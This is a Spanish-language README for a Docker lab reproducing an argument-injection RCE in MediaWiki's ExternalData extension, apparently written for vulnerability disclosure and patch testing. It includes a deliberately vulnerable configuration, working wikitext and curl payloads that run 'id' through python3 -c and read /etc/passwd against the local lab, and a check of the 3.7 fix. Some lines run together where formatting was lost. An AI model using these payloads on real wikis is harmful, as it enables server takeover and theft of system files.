Laboratorio Docker que reproduce CVE-2026-100382: RCE por inyección de argumentos sin autenticación en #get_program_data de MediaWiki ExternalData, con payloads de PoC y verificación del parche.
1.43 (imagen oficial, SQLite) + ExternalData 3.6.1 (última versión vulnerable),
montada en modo de solo lectura desde ../mediawiki-extensions-ExternalData.127.0.0.1:${HOST_PORT} (por defecto 8080).action=parse están habilitadas (valores predeterminados de MediaWiki) - el PoC no necesita inicio de sesión.cd lab
./up.sh # instala, carga ExternalData 3.6.1, siembra fuentes vulnerables, imprime la URL
./down.sh # docker compose down -v + borra .env
entrypoint.sh siembra una fuente exec que refleja el propósito documentado de
#get_program_data - exponer un programa del lado del servidor a los editores, pasando un parámetro
de usuario a la línea de comandos - sin una entrada restrictiva de param filters
(la extensión no requiere una):
$wgExternalDataSources['chart'] = [
'command' => 'python3 $options$ /srv/chart.py', // parámetro de usuario interpolado
'params' => [ 'options' ],
'format' => 'text',
];
Uso previsto: {{#get_program_data: program=chart | options=--dpi=120 }}
-> ejecuta python3 --dpi=120 /srv/chart.py.
EDConnectorBase::supplementParams() interpola los parámetros del usuario en la plantilla
command de todo el wiki mediante strtr (EDConnectorBase.php:461-470,560).EDConnectorExe::__construct() luego hace explode(' ', $command)
(EDConnectorExe.php:92) - el valor interpolado del usuario se divide por espacios en
tokens argv separados sin re-entrecomillado.run() ejecuta Shell::command($command)->execute() (EDConnectorExe.php:139).
Shell::command() escapa cada token para el shell, por lo que los metacaracteres del shell (;, |)
son inertes - esto es inyección de argumentos (CWE-88 / CWE-78), no una inyección de shell
ingenua. Controlar argv adicionales del programa objetivo (aquí python3 -c)
produce ejecución de código completa.command directamente - la fuente comodín *
integrada fuerza command => null, lo que elimina un command proporcionado por el usuario. El
vector es, por lo tanto, la interpolación de parámetros en un comando definido por el administrador.$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id
$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c
$ curl -sS http://127.0.0.1:8080/api.php \
--data-urlencode action=parse --data-urlencode format=json \
--data-urlencode contentmodel=wikitext \
--data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Cambiando la extensión montada a la etiqueta 3.7 y volviendo a ejecutar el MISMO payload:
The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.
3.7 deshabilita EDConnectorExe por defecto ($wgExternalDataDisabledClasses, Bug T434961).
Advertencia: el código del sink no ha cambiado - un wiki que elimine EDConnectorExe de esa lista
para seguir usando #get_program_data sigue siendo totalmente explotable.